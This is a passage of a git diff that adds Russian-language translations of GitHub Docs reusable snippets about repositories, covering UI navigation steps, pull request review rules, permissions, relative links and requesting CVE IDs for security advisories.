09/11/2022 +ms.locfileid: "145118232" +--- +{% ifversion fpt or ghec %} Внутренние репозитории — это параметр по умолчанию для всех новых репозиториев, созданных в организации, принадлежащей корпоративной учетной записи. +{% endif %} diff --git a/translations/ru-RU/data/reusables/repositories/issue-template-config.md b/translations/ru-RU/data/reusables/repositories/issue-template-config.md new file mode 100644 index 000000000000..c0be082bd415 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/issue-template-config.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: a46e7a56eeea109b0b86d6f0e3d98cd0ad390aaa +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881384" +--- +Вы можете настроить средство выбора шаблона проблемы, которое пользователи видят при создании проблемы в репозитории. Для этого добавьте файл *config.yml* в папку `.github/ISSUE_TEMPLATE`. diff --git a/translations/ru-RU/data/reusables/repositories/legacy-issue-template-tip.md b/translations/ru-RU/data/reusables/repositories/legacy-issue-template-tip.md new file mode 100644 index 000000000000..92bd7c88e41c --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/legacy-issue-template-tip.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 35f3d6f56d4221c6debf8853a0ad23af85baf0eb +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118227" +--- + +{% warning %} + +Это устаревший рабочий процесс для создания шаблона проблемы. Для создания шаблонов проблем рекомендуется использовать обновленный построитель шаблонов нескольких проблем или формы проблем. Дополнительные сведения см. в статье "[Сведения о шаблонах проблем и запросов на вытягивание](/articles/about-issue-and-pull-request-templates). + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/repositories/list-closed-pull-requests.md b/translations/ru-RU/data/reusables/repositories/list-closed-pull-requests.md new file mode 100644 index 000000000000..3103706f8446 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/list-closed-pull-requests.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: bb5d107334ea420c79fde5e4c1b9a7091d9692ff +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884288" +--- +1. Выберите вкладку **Закрытые**, чтобы просмотреть список закрытых запросов на вытягивание. + ![Вкладка "Закрытые"](/assets/images/help/branches/branches-closed.png) diff --git a/translations/ru-RU/data/reusables/repositories/merge-all-pulls-together.md b/translations/ru-RU/data/reusables/repositories/merge-all-pulls-together.md new file mode 100644 index 000000000000..5bb6596ff86d --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/merge-all-pulls-together.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 72316a539340e592fb5ccbd4e3d481a47c31694f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118224" +--- +Вы не можете объединить отдельные запросы на вытягивание во временной частной вилке. Вместо этого согласно соответствующей рекомендации по безопасности следует объединить все открытые запросы на вытягивание одновременно. diff --git a/translations/ru-RU/data/reusables/repositories/navigate-to-branches.md b/translations/ru-RU/data/reusables/repositories/navigate-to-branches.md new file mode 100644 index 000000000000..112714abb3fb --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/navigate-to-branches.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: ac6f9c21b3c6d5c1effdea69a7d857a11d6a1555 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146339949" +--- +1. Над списком файлов щелкните {% octicon "git-branch" aria-label="The branch icon" %} **Ветви**. + ![Ссылка на ветви на странице обзора](/assets/images/help/branches/branches-overview-link.png) diff --git a/translations/ru-RU/data/reusables/repositories/navigate-to-code-security-and-analysis.md b/translations/ru-RU/data/reusables/repositories/navigate-to-code-security-and-analysis.md new file mode 100644 index 000000000000..c1a1e6dfef35 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/navigate-to-code-security-and-analysis.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Security" section of the sidebar, click **{% octicon "codescan" aria-label="code security and analysis icon" %} Code security and analysis**. +{% else %} +1. In the left sidebar, click **Security & analysis**. + !["Security & analysis" tab in repository settings](/assets/images/help/repository/security-and-analysis-tab.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/repositories/navigate-to-commit-page.md b/translations/ru-RU/data/reusables/repositories/navigate-to-commit-page.md new file mode 100644 index 000000000000..d712c518b816 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/navigate-to-commit-page.md @@ -0,0 +1,2 @@ +1. On the main page of the repository, click {% octicon "history" aria-label="The history icon" %} **commits** to navigate to the commits page. + ![Screenshot of the repository main page with the commits emphasized](/assets/images/help/commits/commits-page.png) diff --git a/translations/ru-RU/data/reusables/repositories/navigate-to-ghas-settings.md b/translations/ru-RU/data/reusables/repositories/navigate-to-ghas-settings.md new file mode 100644 index 000000000000..a95252f96d06 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/navigate-to-ghas-settings.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: fd68e5c3eb93c82ed7b757050c6e2cb897859243 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881376" +--- +1. В разделе "Безопасность и анализ кода" найдите {% data variables.product.prodname_GH_advanced_security %}. diff --git a/translations/ru-RU/data/reusables/repositories/navigate-to-job.md b/translations/ru-RU/data/reusables/repositories/navigate-to-job.md new file mode 100644 index 000000000000..1429bcfcf9a0 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/navigate-to-job.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 508d169c493eec7a3272992143b886329e1c3300 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092633" +--- +1. В разделе **Задания** или на графе визуализации выберите задание, которое требуется просмотреть. + + ![Базовое задание кода Lint](/assets/images/help/repository/superlinter-lint-code-base-job-updated.png) diff --git a/translations/ru-RU/data/reusables/repositories/navigate-to-manage-access.md b/translations/ru-RU/data/reusables/repositories/navigate-to-manage-access.md new file mode 100644 index 000000000000..368d35d78226 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/navigate-to-manage-access.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 418bd5e52c0305a06d34b3386a7df95a007e5587 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145118208" +--- +1. На левой боковой панели щелкните **Управление доступом**. + ![Вкладка «Управление доступом»](/assets/images/help/repository/manage-access-tab.png) diff --git a/translations/ru-RU/data/reusables/repositories/navigate-to-repo.md b/translations/ru-RU/data/reusables/repositories/navigate-to-repo.md new file mode 100644 index 000000000000..6069ceab1fce --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/navigate-to-repo.md @@ -0,0 +1 @@ +1. On {% data variables.location.product_location %}, navigate to the main page of the repository. diff --git a/translations/ru-RU/data/reusables/repositories/navigate-to-workflow.md b/translations/ru-RU/data/reusables/repositories/navigate-to-workflow.md new file mode 100644 index 000000000000..cece9aecb8ff --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/navigate-to-workflow.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2ec0579c9c0d77746c0328256925f5089284e08d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118200" +--- +1. На левой боковой панели щелкните нужный рабочий процесс. + ![Список рабочих процессов на боковой панели слева](/assets/images/help/repository/superlinter-workflow-sidebar.png) diff --git a/translations/ru-RU/data/reusables/repositories/new-pull-request.md b/translations/ru-RU/data/reusables/repositories/new-pull-request.md new file mode 100644 index 000000000000..bff099a47771 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/new-pull-request.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 6bb64c3e58eb1a5c59d7d7c2e80f9fdfa561b713 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145092629" +--- +1. Над списком файлов щелкните{% octicon "git-pull-request" aria-label="The pull request icon" %} **Запрос на вытягивание**. + ![Ссылка "Запрос на вытягивание" над списком файлов](/assets/images/help/pull_requests/pull-request-start-review-button.png) diff --git a/translations/ru-RU/data/reusables/repositories/new_issue.md b/translations/ru-RU/data/reusables/repositories/new_issue.md new file mode 100644 index 000000000000..8aaee91a1d73 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/new_issue.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: a56878bfceba58a3b53ab250ba88dcd3f70fcf9f +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879082" +--- +1. Щелкните **Новая проблема**. + ![Кнопка "Новые проблемы"](/assets/images/help/issues/new_issues_button.png) diff --git a/translations/ru-RU/data/reusables/repositories/open-with-github-desktop.md b/translations/ru-RU/data/reusables/repositories/open-with-github-desktop.md new file mode 100644 index 000000000000..88a044d52b58 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/open-with-github-desktop.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: ff081585ba5cabe8fdbe198443abe8be048e429f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145092626" +--- +1. Над списком файлов щелкните {% octicon "download" aria-label="The download icon" %} **Код**. + ![Кнопка "Код"](/assets/images/help/repository/code-button.png) +1. Щелкните {% octicon "desktop-download" aria-label="The GitHub Desktop download icon" %} **Открыть с помощью {% data variables.product.prodname_desktop %}** , чтобы клонировать и открыть репозиторий в {% data variables.product.prodname_desktop %}. + ![Кнопка "Открыть с помощью {% data variables.product.prodname_desktop %}"](/assets/images/help/repository/open-with-desktop.png) diff --git a/translations/ru-RU/data/reusables/repositories/owner-drop-down.md b/translations/ru-RU/data/reusables/repositories/owner-drop-down.md new file mode 100644 index 000000000000..0107cbd42635 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/owner-drop-down.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 196be9f6ff23fa242f7f1a0c180ce77409bd6ce0 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882838" +--- +1. В раскрывающемся меню **Владелец** выберите учетную запись, которая должна владеть репозиторием. + ![Раскрывающееся меню "Владелец"](/assets/images/help/repository/create-repository-owner.png) diff --git a/translations/ru-RU/data/reusables/repositories/permissions-statement-read.md b/translations/ru-RU/data/reusables/repositories/permissions-statement-read.md new file mode 100644 index 000000000000..5c9c45791a17 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/permissions-statement-read.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4bf0e891c7d11aafef5cfe151ac8618bec40c3f2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092625" +--- +Для выполнения этих действий требуется доступ на чтение к репозиторию. diff --git a/translations/ru-RU/data/reusables/repositories/permissions-statement-write.md b/translations/ru-RU/data/reusables/repositories/permissions-statement-write.md new file mode 100644 index 000000000000..8fb970138b9c --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/permissions-statement-write.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c295750d09495f1ffb812661b6b92cf202e9c740 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879916" +--- +Для выполнения этих действий требуется доступ для записи в репозиторий. diff --git a/translations/ru-RU/data/reusables/repositories/pr-title-description.md b/translations/ru-RU/data/reusables/repositories/pr-title-description.md new file mode 100644 index 000000000000..bd3217eb8061 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/pr-title-description.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 9ccce14ff4e4f7d9315a1ff07b9a9260f4b66045 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092605" +--- +1. Введите название и описание для запроса на вытягивание. +![Поля заголовка и описания запроса на вытягивание](/assets/images/help/pull_requests/pullrequest-description.png) diff --git a/translations/ru-RU/data/reusables/repositories/private_forks_inherit_permissions.md b/translations/ru-RU/data/reusables/repositories/private_forks_inherit_permissions.md new file mode 100644 index 000000000000..2f1c0503802f --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/private_forks_inherit_permissions.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 45674d15c03f99fb0dc936923880c2d000dfbb49 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881368" +--- +Частные вилки наследуют структуру разрешений вышестоящего или родительского репозитория. Это помогает владельцам частных репозиториев контролировать свой код. Например, если вышестоящий репозиторий является частным и предоставляет доступ для чтения/записи команде, то у той же команды будет доступ для чтения/записи к любым вилкам частного вышестоящего репозитория. Частные вилки наследуют только разрешения команды (а не отдельные разрешения). diff --git a/translations/ru-RU/data/reusables/repositories/protected-branches-block-web-edits-uploads.md b/translations/ru-RU/data/reusables/repositories/protected-branches-block-web-edits-uploads.md new file mode 100644 index 000000000000..3d146710057b --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/protected-branches-block-web-edits-uploads.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: d17db880abec30208e0a5b5150e6a18c3030e6f7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092602" +--- +Если в репозитории есть защищенные ветви, вы не можете изменять или отправлять файлы в таких ветвях с помощью {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Сведения о защищенных ветвях](/articles/about-protected-branches). + +Вы можете использовать {% data variables.product.prodname_desktop %}, чтобы перенести изменения в новую ветвь и зафиксировать их. Дополнительные сведения см. в статье [Фиксация и проверка изменений в проекте](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project). diff --git a/translations/ru-RU/data/reusables/repositories/reaction_list.md b/translations/ru-RU/data/reusables/repositories/reaction_list.md new file mode 100644 index 000000000000..3fc2833e4c6b --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/reaction_list.md @@ -0,0 +1,50 @@ +--- +ms.openlocfilehash: 8f28524c93f8811af32da6046c8bc2597743c2ff +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147110380" +--- + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
содержимоеэмодзи
+1👍
-1👎
laugh😄
confused😕
heart❤️
hooray🎉
rocket🚀
eyes👀
diff --git a/translations/ru-RU/data/reusables/repositories/relative-links.md b/translations/ru-RU/data/reusables/repositories/relative-links.md new file mode 100644 index 000000000000..92c0a2946fd7 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/relative-links.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: 20b17f568debf8a418827882dd6d1cc9815445a0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146171864" +--- +Вы можете определить относительные ссылки и пути к изображениям в отображаемых файлах, чтобы читателям было проще переходить к другим файлам в репозитории. + +Относительная ссылка — это ссылка, заданная относительно текущего файла. Например, если есть файл сведений в корне репозитория и еще один файл в _docs/CONTRIBUTING.md_, относительная ссылка на _CONTRIBUTING.md_ в файле сведений может выглядеть следующим образом: + +``` +[Contribution guidelines for this project](docs/CONTRIBUTING.md) +``` + +{% data variables.product.product_name %} автоматически преобразует относительную ссылку или путь к изображению с учетом текущей ветви, чтобы ссылка или путь всегда работали. Путь ссылки будет относительным к текущему файлу. Ссылки, начинающиеся с `/`, будут относительными к корневому каталогу репозитория. Можно использовать любые операнды относительных ссылок, например `./` и `../`. + +Относительные ссылки удобнее для пользователей, которые клонируют репозиторий. Абсолютные ссылки могут не работать в клонах репозитория. Мы рекомендуем использовать относительные ссылки на другие файлы в репозитории. diff --git a/translations/ru-RU/data/reusables/repositories/releases.md b/translations/ru-RU/data/reusables/repositories/releases.md new file mode 100644 index 000000000000..7d9350e50999 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/releases.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 102dd661861273496f8139e93b4f3df1346468b6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118139" +--- +1. Справа от списка файлов щелкните **Выпуски**. + ![Раздел "Выпуски" на правой боковой панели](/assets/images/help/releases/release-link.png) diff --git a/translations/ru-RU/data/reusables/repositories/repo-name.md b/translations/ru-RU/data/reusables/repositories/repo-name.md new file mode 100644 index 000000000000..6d7845a5fcdf --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/repo-name.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: b22402b872b5ddb62e79ddad443d2bc3a3e830ed +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145092598" +--- +1. Введите имя репозитория и необязательное описание. + ![Поле создания репозитория](/assets/images/help/repository/create-repository-name.png) diff --git a/translations/ru-RU/data/reusables/repositories/repo-size-limit.md b/translations/ru-RU/data/reusables/repositories/repo-size-limit.md new file mode 100644 index 000000000000..11f7254c3720 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/repo-size-limit.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 6c50b55e8ed8a7b56e65c23d1f6efc6870eb67c0 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118136" +--- +{% ifversion fpt or ghec %} В репозиториях и отдельных файлах применяются ограничения на размер. Подробные сведения см. в разделе [Что такое квота диска](/articles/what-is-my-disk-quota) +{% endif %} diff --git a/translations/ru-RU/data/reusables/repositories/reported-content-resolved-tab.md b/translations/ru-RU/data/reusables/repositories/reported-content-resolved-tab.md new file mode 100644 index 000000000000..ea7406fad04e --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/reported-content-resolved-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2757012833648833b1c927370d625a5ef161d7b7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092597" +--- +1. В разделе "Отчеты о злоупотреблениях" нажмите кнопку **Разрешено**. + ![Вкладка "Разрешено" в разделе "Отчеты о злоупотреблениях"](/assets/images/help/repository/reported-content-resolved-tab.png) diff --git a/translations/ru-RU/data/reusables/repositories/repository-branches.md b/translations/ru-RU/data/reusables/repositories/repository-branches.md new file mode 100644 index 000000000000..3b0b72e5a156 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/repository-branches.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Code and automation" section of the sidebar, click **{% octicon "git-branch" aria-label="The git-branch icon" %} Branches**. +{% else %} +1. In the left menu, click **Branches**. +![Repository options sub-menu](/assets/images/help/repository/repository-options-branch.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/repositories/request-changes-tips.md b/translations/ru-RU/data/reusables/repositories/request-changes-tips.md new file mode 100644 index 000000000000..7ad4bb60c489 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/request-changes-tips.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: e4a946e027ffef0f6e52a55d3591eb0a00556625 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145092594" +--- +{% tip %} + +**Совет**. +- Если включены обязательные проверки и участник совместной работы с правами на _запись_, _администрирование_ или правами _владельца_ репозитория отправляет проверку с запросом изменений, запрос на вытягивание нельзя объединить, пока тот же участник не отправит еще одну проверку с утверждением изменений в запросе на вытягивание. +- Владельцы и администраторы репозитория могут объединить запрос на вытягивание, даже если он не получил утверждение или если рецензент, запросивший изменения, покинул организацию либо недоступен. +- Если включены как обязательные проверки, так и отклонение устаревших проверок, то при отправке фиксации с изменением кода в ветвь утвержденного запроса на вытягивание утверждение отклоняется. Прежде чем запрос на вытягивание можно будет объединить, его необходимо будет проверить и утвердить еще раз. +- Если несколько открытых запросов на вытягивание имеют головную ветвь, указывающую на одну и ту же фиксацию, вы не сможете объединить их, если хотя бы для одного из них имеется ожидающая выполнения или отклоненная проверка. +- Если репозиторий требует утверждения проверок от пользователей с разрешениями на запись или администрирование, все утверждения от пользователей с этими разрешениями помечаются зеленой галочкой, а утверждения от пользователей без этих разрешений — серой галочкой. Утверждения с серой галочкой не влияют на возможность объединения запроса на вытягивание. +- Авторы запросов на вытягивание не могут утверждать собственные запросы на вытягивание. + +{% endtip %} diff --git a/translations/ru-RU/data/reusables/repositories/request-security-advisory-cve-id.md b/translations/ru-RU/data/reusables/repositories/request-security-advisory-cve-id.md new file mode 100644 index 000000000000..e3d331c61f17 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/request-security-advisory-cve-id.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: f4005af1cc149aa4d6b86afca4025ef13aeb65e6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145118128" +--- +Если вы хотите получить идентификационный номер CVE для уязвимости системы безопасности вашего проекта, и у вас его еще нет, то можно запросить идентификационный номер CVE в {% data variables.product.prodname_dotcom %}. Обычно {% data variables.product.prodname_dotcom %} проверяет запрос в течение 72 часов. Запрос идентификационного номера CVE не делает ваши рекомендации по безопасности общедоступными. Если ваша рекомендация по безопасности имеет разрешение на CVE, {% data variables.product.prodname_dotcom %} зарезервирует идентификационный номер CVE для вашей рекомендации. Затем мы опубликуем сведения о CVE после того, как ваши рекомендации по безопасности станут общедоступными. Любой пользователь с разрешениями администратора для рекомендаций по безопасности может запросить идентификационный номер CVE. + +Если у вас уже есть номер CVE, который вы хотите использовать, например, в случае использования центра нумерации CVE (CNA), отличающегося от {% data variables.product.prodname_dotcom %}, добавьте номер CVE в форму рекомендаций по безопасности. Например, это может произойти, если вы хотите настроить рекомендации по безопасности в соответствии с другими взаимодействиями, которые планируете отправить во время публикации. {% data variables.product.prodname_dotcom %} не может назначать номера CVE проекту, если он охватывается другой CNA. diff --git a/translations/ru-RU/data/reusables/repositories/return-to-source-diff.md b/translations/ru-RU/data/reusables/repositories/return-to-source-diff.md new file mode 100644 index 000000000000..e58f5c9377d4 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/return-to-source-diff.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 5c9f5fcc7d8c9ad75b9ce14ee3f952e4f3551975 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092593" +--- +1. Кроме того, может потребоваться просмотреть отличия от источника, так как в файле манифеста или блокировок могут быть изменения, не затрагивающие зависимости, или зависимости, которые не могут быть проанализированы {% data variables.product.prodname_dotcom %} и поэтому не включаются в проверку зависимостей. + + Чтобы вернуться к представлению отличий от источника, нажмите кнопку **{% octicon "code" aria-label="The source diff icon" %}** . + + ![Кнопка отличий от источника](/assets/images/help/pull_requests/dependency-review-source-diff.png) diff --git a/translations/ru-RU/data/reusables/repositories/review-changes.md b/translations/ru-RU/data/reusables/repositories/review-changes.md new file mode 100644 index 000000000000..9d4da8a45545 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/review-changes.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: c3d29f873a844799cdc85a4b13c18a75c766d5ee +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145118123" +--- +1. Над измененным кодом нажмите кнопку **Проверить изменения**. +![Кнопка "Проверить изменения"](/assets/images/help/pull_requests/review-changes-button.png) diff --git a/translations/ru-RU/data/reusables/repositories/review-policy-overlapping-commits.md b/translations/ru-RU/data/reusables/repositories/review-policy-overlapping-commits.md new file mode 100644 index 000000000000..c9ca53529215 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/review-policy-overlapping-commits.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b4b90e1487e5bf3e7b22d4b102d2a99ba16f0e3d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092590" +--- +Даже если все обязательные проверяющие одобрили запрос на вытягивание, участники совместной работы не могут выполнить слияние для запроса на вытягивание, если есть другие открытые запросы на вытягивание, имеющие главную ветвь, указывающую на ту же фиксацию с ожидающими или отклоненными проверками. Кто-то с разрешениями на запись сначала должен утвердить или закрыть блокировку проверки на другие запросы на вытягивание. diff --git a/translations/ru-RU/data/reusables/repositories/review-pr-commits.md b/translations/ru-RU/data/reusables/repositories/review-pr-commits.md new file mode 100644 index 000000000000..2a6c75799775 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/review-pr-commits.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: cf852ef4c15862ee59e03dbe72c662b96feebeab +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145118107" +--- +1. В запросе на вытягивание щелкните {% octicon "git-commit" aria-label="The commit icon" %} **Фиксации**. +![Вкладка "Фиксации" в запросе на вытягивание](/assets/images/help/pull_requests/pull-request-tabs-commits.png) diff --git a/translations/ru-RU/data/reusables/repositories/review-summary-comment.md b/translations/ru-RU/data/reusables/repositories/review-summary-comment.md new file mode 100644 index 000000000000..98b8942cd055 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/review-summary-comment.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 769014a973dfbb42eb15626429959d91cd7887f0 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145092589" +--- +1. Введите комментарий, обобщающий ваши отзывы о предлагаемых изменениях. +![Окно "Просмотр краткого комментария"](/assets/images/help/pull_requests/review-summary-comment-window.png) diff --git a/translations/ru-RU/data/reusables/repositories/section-links.md b/translations/ru-RU/data/reusables/repositories/section-links.md new file mode 100644 index 000000000000..c8cf9a333e37 --- /dev/null +++ b/translations/ru-RU/data/reusables/repositories/section-links.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 187ba17c1958bdeaca801ac602c46421e1963b54 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145118080" +--- +Можно связаться непосредственно с разделом в отображенном файле, наведя указатель мыши на заголовок раздела, чтобы открыть ссылку: + +![Ссылка на раздел в файле README для репозитория github/scientist](/assets/images/help/repository/readme-links.png) diff --git a/translations/ru-RU/data/reusables/repositories/security-advisories-republishing.md b/translations/ru-RU/data/reusables/repositories/security-advisories-republishing.md new file mode 100644 index 000000000000..9ff51d65d66d --- /dev/null +++ 